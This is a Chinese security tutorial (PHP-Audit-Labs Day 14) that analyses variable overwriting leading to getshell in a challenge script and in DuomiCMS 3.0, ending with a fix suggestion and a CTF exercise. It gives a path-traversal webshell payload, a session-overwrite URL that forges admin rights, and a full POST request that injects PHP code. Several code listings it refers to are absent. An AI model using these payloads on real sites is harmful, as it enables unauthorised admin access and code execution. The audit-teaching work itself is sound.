[紅日安全]代碼審計Day14 - 從變量覆蓋到getshell

點擊訂閱我們   和紅日一起成長 讓安全如此精彩  

紅日安全出品|轉載請註明來源

文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!(來源:紅日安全)

本文由紅日安全成員: 七月火 編寫,如有不當,還望斧正。

前言

大家好,我們是紅日安全-代碼審計小組。最近我們小組正在做一個PHP代碼審計的項目,供大家學習交流,我們給這個項目起了一個名字叫 PHP-Audit-Labs 。現在大家所看到的系列文章,屬於項目 第一階段 的內容,本階段的內容題目均來自 PHP SECURITY CALENDAR 2017 。對於每一道題目,我們均給出對應的分析,並結合實際CMS進行解說。在文章的最後,我們還會留一道CTF題目,供大家練習,希望大家喜歡。下面是 第14篇 代碼審計文章:

Day 14 - Snowman

題目叫做雪人,代碼如下:

漏洞解析 :

這道題目講的是一個 變量覆蓋 與 路徑穿越 問題。在 第10-11行 處, Carrot 類的構造方法將超全局數組 $_GET 進行變量註冊,這樣即可覆蓋 第8行 已定義的 $this-> 變量。而在 第16行 處的析構函數中, file_put_contents 函數的第一個參數又是由 $this-> 變量拼接的,這就導致我們可以控制寫入文件的位置,最終造成任意文件寫入問題。下面我們試着使用 payload :id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>// 寫入 webshell :

實例分析

本次實例分析,我們選取的是 DuomiCMS_3.0 最新版。該CMS存在全局變量註冊問題,如果程序編寫不當,會導致變量覆蓋,本次我們便來分析 由變量覆蓋導致的getshell 問題。

首先我們先來看一下該CMS中的全局變量註冊代碼,該代碼位於 duomiphp/common.php 文件中,如下:

其中 _RunMagicQuotes 函數將特殊符號,使用 addslashes 函數進行轉義處理。我們來搜索 fwrite 函數,看看是否存在可利用的寫文件程序(爲了寫 shell )。phpstorm 程序搜索結果如下:

我們可以看到有一個 admin\admin_ping.php 文件中,存在可利用的地方,因爲其寫入的目標文件爲 PHP 程序,且寫入內容中存在兩個可控變量。其代碼具體如下:

$weburl 變量和 $token 變量從 POST方式 獲取,其變量也只是經過 _RunMagicQuotes 函數過濾處理,以及 duomiphp\webscan.php 文件的過濾規則,但是並不影響我們寫shell。過濾規則具體如下:

然而要想利用這個文件,我們就必須是 admin 身份,不然沒有權限訪問該文件。所以我們看看該CMS是如何對用戶身份進行認定的,是否可以利用之前的變量覆蓋來僞造身份呢?

跟進 admin\admin_ping.php 文件開頭包含的 admin\config.php 文件,那麼我們要關注的是如下代碼:

我們需要知道程序是如何對用戶的身份進行處理的,跟進 duomiphp\check.admin.php 文件,關注如下代碼:

我們可以看到這裏記錄了用戶名字、所屬組、用戶,再來看看 admin 所對應的這三個值分別是多少。找到 admin\login.php 文件,如下圖,我們只要讓 checkUser 方法返回1即是admin用戶。

跟進 duomiphp\check.admin.php 文件的 checkUser 方法,具體代碼如下:

我們直接使用正確admin賬號密碼登錄後臺,可以觀察到admin用戶對應的用戶和所屬組均爲1。

那麼現在我們只要利用變量覆蓋漏洞,覆蓋 session 的值,從而僞造 admin 身份,然後就可以愉快的寫shell了。

漏洞利用

我們需要先找一些開啓 session_start 函數的程序來輔助我們僞造身份,我們這裏就選擇 member/share.php 文件。

我們先訪問如下 payload :

http://localhost/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1

當我們訪問 payload 後,我們對應 session 的用戶和所屬組都變成了1。然後,我們再POST如下數據包寫入webshell:

POST /admin/admin_ping.php?action=set HTTP/1.1
Host: www.localhost.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

weburl=";phpinfo();//&token=

修復建議

實際上,這個漏洞和 Dedecms 變量覆蓋漏洞很相似。而在 Dedecms 的官方修復代碼中,多了檢測變量名是否爲PHP原有的超全局數組,如果是,則直接退出並告知變量不允許,具體修復代碼如下:

結語

看完了上述分析,不知道大家是否對 變量覆蓋 導致的漏洞有了更加深入的理解,文中用到的 CMS 可以從這裏( DuomiCMS_3.0 )下載,當然文中若有不當之處,還望各位斧正。如果你對我們的項目感興趣,歡迎發送郵件到 [email protected] 聯繫我們。Day14 的分析文章就到這裏,我們最後留了一道CTF題目給大家練手,題目如下:鏈接: https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密碼: 59t2(題目環境:PHP5.2.x)

題解我們會階段性放出,如果大家有什麼好的解法,可以在文章底下留言,祝大家玩的愉快!

 

 海量安全課程 點擊以下鏈接 即可觀看 http://qiyuanxuetang.net/courses/

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章